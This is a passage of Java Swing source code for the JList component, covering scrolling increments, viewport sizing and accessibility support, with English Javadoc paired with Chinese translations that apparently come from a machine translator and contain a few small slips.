* 如果没有指定{@code fixedCellWidth}或{@code fixedCellHeight},则使用启发式。
* 如果模型为空,则宽度为{@code fixedCellWidth}(如果大于{@code 0})或硬编码值{@code 256}。
* 如果{@code fixedCellHeight}大于{@code 0},则高度为{@code fixedCellHeight}乘以{@code visibleRowCount},否则为{@code 16}
* 的硬编码值乘以{@ code visibleRowCount}。
* 如果模型为空,则宽度为{@code fixedCellWidth}(如果大于{@code 0})或硬编码值{@code 256}。
* <p>
* 如果模型不为空,则宽度为首选大小的宽度,通常为最宽列表元素的宽度。高度是{@code fixedCellHeight}乘以{@code visibleRowCount},加上列表的垂直插入。
* <p>
* <b> {@ code VERTICAL_WRAP}或{@code HORIZONTAL_WRAP}:</b>
* <br>
* 此方法简单地从{@code getPreferredSize}返回值。列表的{@code ListUI}应覆盖{@code getPreferredSize}以返回适当的值。
*
*
* @return a dimension containing the size of the viewport needed
* to display {@code visibleRowCount} rows
* @see #getPreferredScrollableViewportSize
* @see #setPrototypeCellValue
*/
public Dimension getPreferredScrollableViewportSize()
{
if (getLayoutOrientation() != VERTICAL) {
return getPreferredSize();
}
Insets insets = getInsets();
int dx = insets.left + insets.right;
int dy = insets.top + insets.bottom;
int visibleRowCount = getVisibleRowCount();
int fixedCellWidth = getFixedCellWidth();
int fixedCellHeight = getFixedCellHeight();
if ((fixedCellWidth > 0) && (fixedCellHeight > 0)) {
int width = fixedCellWidth + dx;
int height = (visibleRowCount * fixedCellHeight) + dy;
return new Dimension(width, height);
}
else if (getModel().getSize() > 0) {
int width = getPreferredSize().width;
int height;
Rectangle r = getCellBounds(0, 0);
if (r != null) {
height = (visibleRowCount * r.height) + dy;
}
else {
// Will only happen if UI null, shouldn't matter what we return
height = 1;
}
return new Dimension(width, height);
}
else {
fixedCellWidth = (fixedCellWidth > 0) ? fixedCellWidth : 256;
fixedCellHeight = (fixedCellHeight > 0) ? fixedCellHeight : 16;
return new Dimension(fixedCellWidth, fixedCellHeight * visibleRowCount);
}
}
/**
* Returns the distance to scroll to expose the next or previous
* row (for vertical scrolling) or column (for horizontal scrolling).
* <p>
* For horizontal scrolling, if the layout orientation is {@code VERTICAL},
* then the list's font size is returned (or {@code 1} if the font is
* {@code null}).
*
* <p>
* 返回滚动到显示下一行或上一行(用于垂直滚动)或列(用于水平滚动)的距离。
* <p>
* 对于水平滚动,如果布局方向为{@code VERTICAL},则返回列表的字体大小(如果字体为{@code null},则为{@code 1})。
*
*
* @param visibleRect the view area visible within the viewport
* @param orientation {@code SwingConstants.HORIZONTAL} or
* {@code SwingConstants.VERTICAL}
* @param direction less or equal to zero to scroll up/back,
* greater than zero for down/forward
* @return the "unit" increment for scrolling in the specified direction;
* always positive
* @see #getScrollableBlockIncrement
* @see Scrollable#getScrollableUnitIncrement
* @throws IllegalArgumentException if {@code visibleRect} is {@code null}, or
* {@code orientation} isn't one of {@code SwingConstants.VERTICAL} or
* {@code SwingConstants.HORIZONTAL}
*/
public int getScrollableUnitIncrement(Rectangle visibleRect, int orientation, int direction)
{
checkScrollableParameters(visibleRect, orientation);
if (orientation == SwingConstants.VERTICAL) {
int row = locationToIndex(visibleRect.getLocation());
if (row == -1) {
return 0;
}
else {
/* Scroll Down */
if (direction > 0) {
Rectangle r = getCellBounds(row, row);
return (r == null) ? 0 : r.height - (visibleRect.y - r.y);
}
/* Scroll Up */
else {
Rectangle r = getCellBounds(row, row);
/* The first row is completely visible and it's row 0.
* We're done.
* <p>
* 我们完成了。
*
*/
if ((r.y == visibleRect.y) && (row == 0)) {
return 0;
}
/* The first row is completely visible, return the
* height of the previous row or 0 if the first row
* is the top row of the list.
* <p>
* 如果第一行是列表的第一行,则为上一行的高度或0。
*
*/
else if (r.y == visibleRect.y) {
Point loc = r.getLocation();
loc.y--;
int prevIndex = locationToIndex(loc);
Rectangle prevR = getCellBounds(prevIndex, prevIndex);
if (prevR == null || prevR.y >= r.y) {
return 0;
}
return prevR.height;
}
/* The first row is partially visible, return the
* height of hidden part.
* <p>
* 隐藏部分的高度。
*
*/
else {
return visibleRect.y - r.y;
}
}
}
} else if (orientation == SwingConstants.HORIZONTAL &&
getLayoutOrientation() != JList.VERTICAL) {
boolean leftToRight = getComponentOrientation().isLeftToRight();
int index;
Point leadingPoint;
if (leftToRight) {
leadingPoint = visibleRect.getLocation();
}
else {
leadingPoint = new Point(visibleRect.x + visibleRect.width -1,
visibleRect.y);
}
index = locationToIndex(leadingPoint);
if (index != -1) {
Rectangle cellBounds = getCellBounds(index, index);
if (cellBounds != null && cellBounds.contains(leadingPoint)) {
int leadingVisibleEdge;
int leadingCellEdge;
if (leftToRight) {
leadingVisibleEdge = visibleRect.x;
leadingCellEdge = cellBounds.x;
}
else {
leadingVisibleEdge = visibleRect.x + visibleRect.width;
leadingCellEdge = cellBounds.x + cellBounds.width;
}
if (leadingCellEdge != leadingVisibleEdge) {
if (direction < 0) {
// Show remainder of leading cell
return Math.abs(leadingVisibleEdge - leadingCellEdge);
}
else if (leftToRight) {
// Hide rest of leading cell
return leadingCellEdge + cellBounds.width - leadingVisibleEdge;
}
else {
// Hide rest of leading cell
return leadingVisibleEdge - cellBounds.x;
}
}
// ASSUME: All cells are the same width
return cellBounds.width;
}
}
}
Font f = getFont();
return (f != null) ? f.getSize() : 1;
}
/**
* Returns the distance to scroll to expose the next or previous block.
* <p>
* For vertical scrolling, the following rules are used:
* <ul>
* <li>if scrolling down, returns the distance to scroll so that the last
* visible element becomes the first completely visible element
* <li>if scrolling up, returns the distance to scroll so that the first
* visible element becomes the last completely visible element
* <li>returns {@code visibleRect.height} if the list is empty
* </ul>
* <p>
* For horizontal scrolling, when the layout orientation is either
* {@code VERTICAL_WRAP} or {@code HORIZONTAL_WRAP}:
* <ul>
* <li>if scrolling right, returns the distance to scroll so that the
* last visible element becomes
* the first completely visible element
* <li>if scrolling left, returns the distance to scroll so that the first
* visible element becomes the last completely visible element
* <li>returns {@code visibleRect.width} if the list is empty
* </ul>
* <p>
* For horizontal scrolling and {@code VERTICAL} orientation,
* returns {@code visibleRect.width}.
* <p>
* Note that the value of {@code visibleRect} must be the equal to
* {@code this.getVisibleRect()}.
*
* <p>
* 返回滚动到显示下一个或上一个块的距离。
* <p>
* 对于垂直滚动,使用以下规则:
* <ul>
* <li>如果向下滚动,则返回滚动的距离,以便最后一个可见元素成为第一个完全可见的元素<li>如果向上滚动,则返回滚动的距离,以便第一个可见元素成为最后一个完全可见的元素<li >如果列表为空,则返回{@code visibleRect.height}
* 。
* </ul>
* <p>
* 对于水平滚动,当布局方向为{@code VERTICAL_WRAP}或{@code HORIZONTAL_WRAP}时:
* <ul>
* <li>如果向右滚动,则返回滚动距离,以便最后一个可见元素成为第一个完全可见元素<li>如果向左滚动,则返回滚动距离,以使第一个可见元素成为最后一个完全可见元素<li >如果列表为空,则返回{@code visibleRect.width}
* 。
* </ul>
* <p>
* 对于水平滚动和{@code VERTICAL}方向,返回{@code visibleRect.width}。
* <p>
* 注意,{@code visibleRect}的值必须等于{@code this.getVisibleRect()}。
*
*
* @param visibleRect the view area visible within the viewport
* @param orientation {@code SwingConstants.HORIZONTAL} or
* {@code SwingConstants.VERTICAL}
* @param direction less or equal to zero to scroll up/back,
* greater than zero for down/forward
* @return the "block" increment for scrolling in the specified direction;
* always positive
* @see #getScrollableUnitIncrement
* @see Scrollable#getScrollableBlockIncrement
* @throws IllegalArgumentException if {@code visibleRect} is {@code null}, or
* {@code orientation} isn't one of {@code SwingConstants.VERTICAL} or
* {@code SwingConstants.HORIZONTAL}
*/
public int getScrollableBlockIncrement(Rectangle visibleRect, int orientation, int direction) {
checkScrollableParameters(visibleRect, orientation);
if (orientation == SwingConstants.VERTICAL) {
int inc = visibleRect.height;
/* Scroll Down */
if (direction > 0) {
// last cell is the lowest left cell
int last = locationToIndex(new Point(visibleRect.x, visibleRect.y+visibleRect.height-1));
if (last != -1) {
Rectangle lastRect = getCellBounds(last,last);
if (lastRect != null) {
inc = lastRect.y - visibleRect.y;
if ( (inc == 0) && (last < getModel().getSize()-1) ) {
inc = lastRect.height;
}
}
}
}
/* Scroll Up */
else {
int newFirst = locationToIndex(new Point(visibleRect.x, visibleRect.y-visibleRect.height));
int first = getFirstVisibleIndex();
if (newFirst != -1) {
if (first == -1) {
first = locationToIndex(visibleRect.getLocation());
}
Rectangle newFirstRect = getCellBounds(newFirst,newFirst);
Rectangle firstRect = getCellBounds(first,first);
if ((newFirstRect != null) && (firstRect!=null)) {
while ( (newFirstRect.y + visibleRect.height <
firstRect.y + firstRect.height) &&
(newFirstRect.y < firstRect.y) ) {
newFirst++;
newFirstRect = getCellBounds(newFirst,newFirst);
}
inc = visibleRect.y - newFirstRect.y;
if ( (inc <= 0) && (newFirstRect.y > 0)) {
newFirst--;
newFirstRect = getCellBounds(newFirst,newFirst);
if (newFirstRect != null) {
inc = visibleRect.y - newFirstRect.y;
}
}
}
}
}
return inc;
}
else if (orientation == SwingConstants.HORIZONTAL &&
getLayoutOrientation() != JList.VERTICAL) {
boolean leftToRight = getComponentOrientation().isLeftToRight();
int inc = visibleRect.width;
/* Scroll Right (in ltr mode) or Scroll Left (in rtl mode) */
if (direction > 0) {
// position is upper right if ltr, or upper left otherwise
int x = visibleRect.x + (leftToRight ? (visibleRect.width - 1) : 0);
int last = locationToIndex(new Point(x, visibleRect.y));
if (last != -1) {
Rectangle lastRect = getCellBounds(last,last);
if (lastRect != null) {
if (leftToRight) {
inc = lastRect.x - visibleRect.x;
} else {
inc = visibleRect.x + visibleRect.width
- (lastRect.x + lastRect.width);
}
if (inc < 0) {
inc += lastRect.width;
} else if ( (inc == 0) && (last < getModel().getSize()-1) ) {
inc = lastRect.width;
}
}
}
}
/* Scroll Left (in ltr mode) or Scroll Right (in rtl mode) */
else {
// position is upper left corner of the visibleRect shifted
// left by the visibleRect.width if ltr, or upper right shifted
// right by the visibleRect.width otherwise
int x = visibleRect.x + (leftToRight
? -visibleRect.width
: visibleRect.width - 1 + visibleRect.width);
int first = locationToIndex(new Point(x, visibleRect.y));
if (first != -1) {
Rectangle firstRect = getCellBounds(first,first);
if (firstRect != null) {
// the right of the first cell
int firstRight = firstRect.x + firstRect.width;
if (leftToRight) {
if ((firstRect.x < visibleRect.x - visibleRect.width)
&& (firstRight < visibleRect.x)) {
inc = visibleRect.x - firstRight;
} else {
inc = visibleRect.x - firstRect.x;
}
} else {
int visibleRight = visibleRect.x + visibleRect.width;
if ((firstRight > visibleRight + visibleRect.width)
&& (firstRect.x > visibleRight)) {
inc = firstRect.x - visibleRight;
} else {
inc = firstRight - visibleRight;
}
}
}
}
}
return inc;
}
return visibleRect.width;
}
/**
* Returns {@code true} if this {@code JList} is displayed in a
* {@code JViewport} and the viewport is wider than the list's
* preferred width, or if the layout orientation is {@code HORIZONTAL_WRAP}
* and {@code visibleRowCount <= 0}; otherwise returns {@code false}.
* <p>
* If {@code false}, then don't track the viewport's width. This allows
* horizontal scrolling if the {@code JViewport} is itself embedded in a
* {@code JScrollPane}.
*
* <p>
* 如果{@code JList}显示在{@code JViewport}中且视口比列表的首选宽度宽,或者布局方向为{@code HORIZONTAL_WRAP}和{@code visibleRowCount < = 0};否则返回{@code false}。
* <p>
* 如果{@code false},那么不跟踪视口的宽度。如果{@code JViewport}本身嵌入在{@code JScrollPane}中,这允许水平滚动。
*
*
* @return whether or not an enclosing viewport should force the list's
* width to match its own
* @see Scrollable#getScrollableTracksViewportWidth
*/
public boolean getScrollableTracksViewportWidth() {
if (getLayoutOrientation() == HORIZONTAL_WRAP &&
getVisibleRowCount() <= 0) {
return true;
}
Container parent = SwingUtilities.getUnwrappedParent(this);
if (parent instanceof JViewport) {
return parent.getWidth() > getPreferredSize().width;
}
return false;
}
/**
* Returns {@code true} if this {@code JList} is displayed in a
* {@code JViewport} and the viewport is taller than the list's
* preferred height, or if the layout orientation is {@code VERTICAL_WRAP}
* and {@code visibleRowCount <= 0}; otherwise returns {@code false}.
* <p>
* If {@code false}, then don't track the viewport's height. This allows
* vertical scrolling if the {@code JViewport} is itself embedded in a
* {@code JScrollPane}.
*
* <p>
* 如果{@code JList}显示在{@code JViewport}中,且视口高于列表的首选高度,或者布局方向为{@code VERTICAL_WRAP}和{@code visibleRowCount < = 0};否则返回{@code false}。
* <p>
* 如果{@code false},那么不跟踪视口的高度。这允许垂直滚动,如果{@code JViewport}本身嵌入在{@code JScrollPane}。
*
*
* @return whether or not an enclosing viewport should force the list's
* height to match its own
* @see Scrollable#getScrollableTracksViewportHeight
*/
public boolean getScrollableTracksViewportHeight() {
if (getLayoutOrientation() == VERTICAL_WRAP &&
getVisibleRowCount() <= 0) {
return true;
}
Container parent = SwingUtilities.getUnwrappedParent(this);
if (parent instanceof JViewport) {
return parent.getHeight() > getPreferredSize().height;
}
return false;
}
/*
* See {@code readObject} and {@code writeObject} in {@code JComponent}
* for more information about serialization in Swing.
* <p>
* 有关在Swing中序列化的更多信息,请参阅{@code readComponent}中的{@code readObject}和{@code writeObject}。
*
*/
private void writeObject(ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
if (getUIClassID().equals(uiClassID)) {
byte count = JComponent.getWriteObjCounter(this);
JComponent.setWriteObjCounter(this, --count);
if (count == 0 && ui != null) {
ui.installUI(this);
}
}
}
/**
* Returns a {@code String} representation of this {@code JList}.
* This method is intended to be used only for debugging purposes,
* and the content and format of the returned {@code String} may vary
* between implementations. The returned {@code String} may be empty,
* but may not be {@code null}.
*
* <p>
* 返回此{@code JList}的{@code String}表示形式。此方法仅用于调试目的,并且返回的{@code String}的内容和格式可能因实现而异。
* 返回的{@code String}可能为空,但可能不是{@code null}。
*
*
* @return a {@code String} representation of this {@code JList}.
*/
protected String paramString() {
String selectionForegroundString = (selectionForeground != null ?
selectionForeground.toString() :
"");
String selectionBackgroundString = (selectionBackground != null ?
selectionBackground.toString() :
"");
return super.paramString() +
",fixedCellHeight=" + fixedCellHeight +
",fixedCellWidth=" + fixedCellWidth +
",horizontalScrollIncrement=" + horizontalScrollIncrement +
",selectionBackground=" + selectionBackgroundString +
",selectionForeground=" + selectionForegroundString +
",visibleRowCount=" + visibleRowCount +
",layoutOrientation=" + layoutOrientation;
}
/**
* --- Accessibility Support ---
* <p>
* ---辅助功能
*
*/
/**
* Gets the {@code AccessibleContext} associated with this {@code JList}.
* For {@code JList}, the {@code AccessibleContext} takes the form of an
* {@code AccessibleJList}.
* <p>
* A new {@code AccessibleJList} instance is created if necessary.
*
* <p>
* 获取与此{@code JList}相关联的{@code AccessibleContext}。
* 对于{@code JList},{@code AccessibleContext}采用{@code AccessibleJList}的形式。
* <p>
* 如有必要,将创建一个新的{@code AccessibleJList}实例。
*
*
* @return an {@code AccessibleJList} that serves as the
* {@code AccessibleContext} of this {@code JList}
*/
public AccessibleContext getAccessibleContext() {
if (accessibleContext == null) {
accessibleContext = new AccessibleJList();
}
return accessibleContext;
}
/**
* This class implements accessibility support for the
* {@code JList} class. It provides an implementation of the
* Java Accessibility API appropriate to list user-interface
* elements.
* <p>
* <strong>Warning:</strong>
* Serialized objects of this class will not be compatible with
* future Swing releases. The current serialization support is
* appropriate for short term storage or RMI between applications running
* the same version of Swing. As of 1.4, support for long term storage
* of all JavaBeans™
* has been added to the <code>java.beans</code> package.
* Please see {@link java.beans.XMLEncoder}.
* <p>
* 此类实现{@code JList}类的辅助功能支持。它提供了适用于列出用户界面元素的Java辅助功能API的实现。
* <p>
* <strong>警告:</strong>此类的序列化对象将与以后的Swing版本不兼容。当前的序列化支持适用于运行相同版本的Swing的应用程序之间的短期存储或RMI。
* 1.4以上,支持所有JavaBean和贸易的长期存储;已添加到<code> java.beans </code>包中。请参阅{@link java.beans.XMLEncoder}。
*
*/
protected class AccessibleJList extends AccessibleJComponent
implements AccessibleSelection, PropertyChangeListener,
ListSelectionListener, ListDataListener {
int leadSelectionIndex;
public AccessibleJList() {
super();
JList.this.addPropertyChangeListener(this);
JList.this.getSelectionModel().addListSelectionListener(this);
JList.this.getModel().addListDataListener(this);
leadSelectionIndex = JList.this.getLeadSelectionIndex();
}
/**
* Property Change Listener change method. Used to track changes
* to the DataModel and ListSelectionModel, in order to re-set
* listeners to those for reporting changes there via the Accessibility
* PropertyChange mechanism.
*
* <p>
* 属性更改侦听器更改方法。用于跟踪对DataModel和ListSelectionModel的更改,以便将监听器重新设置为通过辅助功能属性更改机制报告更改的监听器。
*
*
* @param e PropertyChangeEvent
*/
public void propertyChange(PropertyChangeEvent e) {
String name = e.getPropertyName();
Object oldValue = e.getOldValue();
Object newValue = e.getNewValue();
// re-set listData listeners
if (name.compareTo("model") == 0) {
if (oldValue != null && oldValue instanceof ListModel) {
((ListModel) oldValue).removeListDataListener(this);
}
if (newValue != null && newValue instanceof ListModel) {
((ListModel) newValue).addListDataListener(this);
}
// re-set listSelectionModel listeners
} else if (name.compareTo("selectionModel") == 0) {
if (oldValue != null && oldValue instanceof ListSelectionModel) {
((ListSelectionModel) oldValue).removeListSelectionListener(this);
}
if (newValue != null && newValue instanceof ListSelectionModel) {
((ListSelectionModel) newValue).addListSelectionListener(this);
}
firePropertyChange(
AccessibleContext.ACCESSIBLE_SELECTION_PROPERTY,
Boolean.valueOf(false), Boolean.valueOf(true));
}
}
/**
* List Selection Listener value change method. Used to fire
* the property change
*
* <p>
* 列表选择监听器值更改方法。用于触发属性更改
*
*
* @param e ListSelectionEvent
*
*/
public void valueChanged(ListSelectionEvent e) {
int oldLeadSelectionIndex = leadSelectionIndex;
leadSelectionIndex = JList.this.getLeadSelectionIndex();
if (oldLeadSelectionIndex != leadSelectionIndex) {
Accessible oldLS, newLS;
oldLS = (oldLeadSelectionIndex >= 0)
? getAccessibleChild(oldLeadSelectionIndex)
: null;
newLS = (leadSelectionIndex >= 0)
? getAccessibleChild(leadSelectionIndex)
: null;
firePropertyChange(AccessibleContext.ACCESSIBLE_ACTIVE_DESCENDANT_PROPERTY,
oldLS, newLS);
}
firePropertyChange(AccessibleContext.ACCESSIBLE_VISIBLE_DATA_PROPERTY,
Boolean.valueOf(false), Boolean.valueOf(true));
firePropertyChange(AccessibleContext.ACCESSIBLE_SELECTION_PROPERTY,
Boolean.valueOf(false), Boolean.valueOf(true));
// Process the State changes for Multiselectable
AccessibleStateSet s = getAccessibleStateSet();
ListSelectionModel lsm = JList.this.getSelectionModel();
if (lsm.getSelectionMode() != ListSelectionModel.SINGLE_SELECTION) {
if (!s.contains(AccessibleState.MULTISELECTABLE)) {
s.add(AccessibleState.MULTISELECTABLE);
firePropertyChange(AccessibleContext.ACCESSIBLE_STATE_PROPERTY,
null, AccessibleState.MULTISELECTABLE);
}
} else {
if (s.contains(AccessibleState.MULTISELECTABLE)) {
s.remove(AccessibleState.MULTISELECTABLE);
firePropertyChange(AccessibleContext.ACCESSIBLE_STATE_PROPERTY,
AccessibleState.MULTISELECTABLE, null);
}
}
}
/**
* List Data Listener interval added method. Used to fire the visible data property change
*
* <p>
* 列表数据侦听器间隔添加方法。用于触发可见数据属性更改
*
*
* @param e ListDataEvent
*
*/
public void intervalAdded(ListDataEvent e) {
firePropertyChange(AccessibleContext.ACCESSIBLE_VISIBLE_DATA_PROPERTY,
Boolean.valueOf(false), Boolean.valueOf(true));
}
/**
* List Data Listener interval removed method. Used to fire the visible data property change
*
* <p>
* 列表数据侦听器间隔删除方法。用于触发可见数据属性更改
*
*
* @param e ListDataEvent
*
*/
public void intervalRemoved(ListDataEvent e) {
firePropertyChange(AccessibleContext.ACCESSIBLE_VISIBLE_DATA_PROPERTY,
Boolean.valueOf(false), Boolean.valueOf(true));
}
/**
* List Data Listener contents changed method. Used to fire the visible data property change
*
* <p>
* 列表数据监听器内容更改方法。用于触发可见数据属性更改
*
*
* @param e ListDataEvent
*
*/
public void contentsChanged(ListDataEvent e) {
firePropertyChange(AccessibleContext.ACCESSIBLE_VISIBLE_DATA_PROPERTY,
Boolean.valueOf(false), Boolean.valueOf(true));
}
// AccessibleContext methods
/**
* Get the state set of this object.
*
* <p>
* 获取此对象的状态集。
*
*
* @return an instance of AccessibleState containing the current state
* of the object
* @see AccessibleState
*/
public AccessibleStateSet getAccessibleStateSet() {
AccessibleStateSet states = super.getAccessibleStateSet();
if (selectionModel.getSelectionMode() !=
ListSelectionModel.SINGLE_SELECTION) {
states.add(AccessibleState.MULTISELECTABLE);
}
return states;
}
/**
* Get the role of this object.
*
* <p>
* 获取此对象的作用。
*
*
* @return an instance of AccessibleRole describing the role of the
* object
* @see AccessibleRole
*/
public AccessibleRole getAccessibleRole() {
return AccessibleRole.LIST;
}
/**
* Returns the <code>Accessible</code> child contained at
* the local coordinate <code>Point</code>, if one exists.
* Otherwise returns <code>null</code>.
*
* <p>
* 返回包含在本地坐标<code> Point </code>(如果存在)中的<code> Accessible </code>子代。否则返回<code> null </code>。
*
*
* @return the <code>Accessible</code> at the specified
* location, if it exists
*/
public Accessible getAccessibleAt(Point p) {
int i = locationToIndex(p);
if (i >= 0) {
return new AccessibleJListChild(JList.this, i);
} else {
return null;
}
}
/**
* Returns the number of accessible children in the object. If all
* of the children of this object implement Accessible, than this
* method should return the number of children of this object.
*
* <p>
* 返回对象中可访问的子项数。如果这个对象的所有子对象实现Accessible,那么这个方法应该返回这个对象的子对象数。
*
*
* @return the number of accessible children in the object.
*/
public int getAccessibleChildrenCount() {
return getModel().getSize();
}
/**
* Return the nth Accessible child of the object.
*
* <p>
* 返回对象的第n个Accessible子项。
*
*
* @param i zero-based index of child
* @return the nth Accessible child of the object
*/
public Accessible getAccessibleChild(int i) {
if (i >= getModel().getSize()) {
return null;
} else {
return new AccessibleJListChild(JList.this, i);
}
}
/**
* Get the AccessibleSelection associated with this object. In the
* implementation of the Java Accessibility API for this class,
* return this object, which is responsible for implementing the
* AccessibleSelection interface on behalf of itself.
*
* <p>
* 获取与此对象关联的AccessibleSelection。在为此类实现Java Accessibility API时,返回此对象,它负责代表自身实现AccessibleSelection接口。
*
*
* @return this object
*/
public AccessibleSelection getAccessibleSelection() {
return this;
}
// AccessibleSelection methods
/**
* Returns the number of items currently selected.
* If no items are selected, the return value will be 0.
*
* <p>
* 返回当前选择的项目数。如果未选择任何项目,则返回值将为0。
*
*
* @return the number of items currently selected.
*/
public int getAccessibleSelectionCount() {
return JList.this.getSelectedIndices().length;
}
/**
* Returns an Accessible representing the specified selected item
* in the object. If there isn't a selection, or there are
* fewer items selected than the integer passed in, the return
* value will be <code>null</code>.
*
* <p>
* 返回表示对象中指定的选定项目的Accessible。如果没有选择,或者选择的项目少于传递的整数,则返回值将为<code> null </code>。
*
*
* @param i the zero-based index of selected items
* @return an Accessible containing the selected item
*/
public Accessible getAccessibleSelection(int i) {
int len = getAccessibleSelectionCount();
if (i < 0 || i >= len) {
return null;
} else {
return getAccessibleChild(JList.this.getSelectedIndices()[i]);
}
}
/**
* Returns true if the current child of this object is selected.
*
* <p>
* 如果选择此对象的当前子项,则返回true。
*
*
* @param i the zero-based index of the child in this Accessible
* object.
* @see AccessibleContext#getAccessibleChild
*/
public boolean isAccessibleChildSelected(int i) {
return isSelectedIndex(i);
}
/**
* Adds the specified selected item in the object to the object's
* selection. If the object supports multiple selections,
* the specified item is added to any existing selection, otherwise
* it replaces any existing selection in the object. If the
* specified item is already selected, this method has no effect.
*
* <p>
* 将对象中指定的选定项目添加到对象的选择。如果对象支持多个选择,则将指定的项目添加到任何现有选择,否则将替换对象中的任何现有选择。如果已选择指定的项目,则此方法无效。
*
*
* @param i the zero-based index of selectable items
*/
public void addAccessibleSelection(int i) {
JList.this.addSelectionInterval(i, i);
}
/**
* Removes the specified selected item in the object from the object's
* selection. If the specified item isn't currently selected, this
* method has no effect.
*
* <p>
* 从对象的选择中删除对象中指定的选定项目。如果当前未选择指定的项目,则此方法无效。
*
*
* @param i the zero-based index of selectable items
*/
public void removeAccessibleSelection(int i) {
JList.this.removeSelectionInterval(i, i);
}
/**
* Clears the selection in the object, so that nothing in the
* object is selected.
* <p>
* 清除对象中的选择,以便不选择对象中的任何内容。
*
*/
public void clearAccessibleSelection() {
JList.this.clearSelection();
}
/**
* Causes every selected item in the object to be selected
* if the object supports multiple selections.
* <p>
* 如果对象支持多个选择,则导致选择对象中的每个选定项目。
*
*/
public void selectAllAccessibleSelection() {
JList.this.addSelectionInterval(0, getAccessibleChildrenCount() -1);
}
/**
* This class implements accessibility support appropriate
* for list children.
* <p>
* 此类实现适用于列表孩子的辅助功能支持。
*
*/
protected class AccessibleJListChild extends AccessibleContext
implements Accessible, AccessibleComponent {
private JList<E> parent = null;
private int indexInParent;
private Component component = null;
private AccessibleContext accessibleContext = null;
private ListModel<E> listModel;
private ListCellRenderer<? super E> cellRenderer = null;
public AccessibleJListChild(JList<E> parent, int indexInParent) {
this.parent = parent;
this.setAccessibleParent(parent);
this.indexInParent = indexInParent;
if (parent != null) {
listModel = parent.getModel();
cellRenderer = parent.getCellRenderer();
}
}
private Component getCurrentComponent() {
return getComponentAtIndex(indexInParent);
}
private AccessibleContext getCurrentAccessibleContext() {
Component c = getComponentAtIndex(indexInParent);
if (c instanceof Accessible) {
return c.getAccessibleContext();
} else {
return null;
}
}
private Component getComponentAtIndex(int index) {
if (index < 0 || index >= listModel.getSize()) {
return null;
}
if ((parent != null)
&& (listModel != null)
&& cellRenderer != null) {
E value = listModel.getElementAt(index);
boolean isSelected = parent.isSelectedIndex(index);
boolean isFocussed = parent.isFocusOwner()
&& (index == parent.getLeadSelectionIndex());
return cellRenderer.getListCellRendererComponent(
parent,
value,
index,
isSelected,
isFocussed);
} else {
return null;
}
}
// Accessible Methods
/**
* Get the AccessibleContext for this object. In the
* implementation of the Java Accessibility API for this class,
* returns this object, which is its own AccessibleContext.
*
* <p>
* 获取此对象的AccessibleContext。在为该类实现Java Accessibility API时,返回此对象,这是它自己的AccessibleContext。
*
*
* @return this object
*/
public AccessibleContext getAccessibleContext() {
return this;
}
// AccessibleContext methods
public String getAccessibleName() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
return ac.getAccessibleName();
} else {
return null;
}
}
public void setAccessibleName(String s) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
ac.setAccessibleName(s);
}
}
public String getAccessibleDescription() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
return ac.getAccessibleDescription();
} else {
return null;
}
}
public void setAccessibleDescription(String s) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
ac.setAccessibleDescription(s);
}
}
public AccessibleRole getAccessibleRole() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
return ac.getAccessibleRole();
} else {
return null;
}
}
public AccessibleStateSet getAccessibleStateSet() {
AccessibleContext ac = getCurrentAccessibleContext();
AccessibleStateSet s;
if (ac != null) {
s = ac.getAccessibleStateSet();
} else {
s = new AccessibleStateSet();
}
s.add(AccessibleState.SELECTABLE);
if (parent.isFocusOwner()
&& (indexInParent == parent.getLeadSelectionIndex())) {
s.add(AccessibleState.ACTIVE);
}
if (parent.isSelectedIndex(indexInParent)) {
s.add(AccessibleState.SELECTED);
}
if (this.isShowing()) {
s.add(AccessibleState.SHOWING);
} else if (s.contains(AccessibleState.SHOWING)) {
s.remove(AccessibleState.SHOWING);
}
if (this.isVisible()) {
s.add(AccessibleState.VISIBLE);
} else if (s.contains(AccessibleState.VISIBLE)) {
s.remove(AccessibleState.VISIBLE);
}
s.add(AccessibleState.TRANSIENT); // cell-rendered
return s;
}
public int getAccessibleIndexInParent() {
return indexInParent;
}
public int getAccessibleChildrenCount() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
return ac.getAccessibleChildrenCount();
} else {
return 0;
}
}
public Accessible getAccessibleChild(int i) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
Accessible accessibleChild = ac.getAccessibleChild(i);
ac.setAccessibleParent(this);
return accessibleChild;
} else {
return null;
}
}
public Locale getLocale() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
return ac.getLocale();
} else {
return null;
}
}
public void addPropertyChangeListener(PropertyChangeListener l) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
ac.addPropertyChangeListener(l);
}
}
public void removePropertyChangeListener(PropertyChangeListener l) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac != null) {
ac.removePropertyChangeListener(l);
}
}
public AccessibleAction getAccessibleAction() {
return getCurrentAccessibleContext().getAccessibleAction();
}
/**
* Get the AccessibleComponent associated with this object. In the
* implementation of the Java Accessibility API for this class,
* return this object, which is responsible for implementing the
* AccessibleComponent interface on behalf of itself.
*
* <p>
* 获取与此对象关联的AccessibleComponent。在为该类实现Java Accessibility API时,返回此对象,该对象负责代表自身实现AccessibleComponent接口。
*
*
* @return this object
*/
public AccessibleComponent getAccessibleComponent() {
return this; // to override getBounds()
}
public AccessibleSelection getAccessibleSelection() {
return getCurrentAccessibleContext().getAccessibleSelection();
}
public AccessibleText getAccessibleText() {
return getCurrentAccessibleContext().getAccessibleText();
}
public AccessibleValue getAccessibleValue() {
return getCurrentAccessibleContext().getAccessibleValue();
}
// AccessibleComponent methods
public Color getBackground() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
return ((AccessibleComponent) ac).getBackground();
} else {
Component c = getCurrentComponent();
if (c != null) {
return c.getBackground();
} else {
return null;
}
}
}
public void setBackground(Color c) {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
((AccessibleComponent) ac).setBackground(c);
} else {
Component cp = getCurrentComponent();
if (cp != null) {
cp.setBackground(c);
}
}
}
public Color getForeground() {
AccessibleContext ac = getCurrentAccessibleContext();
if (ac instanceof AccessibleComponent) {
return ((AccessibleComponent) ac).getForeground();
} else {
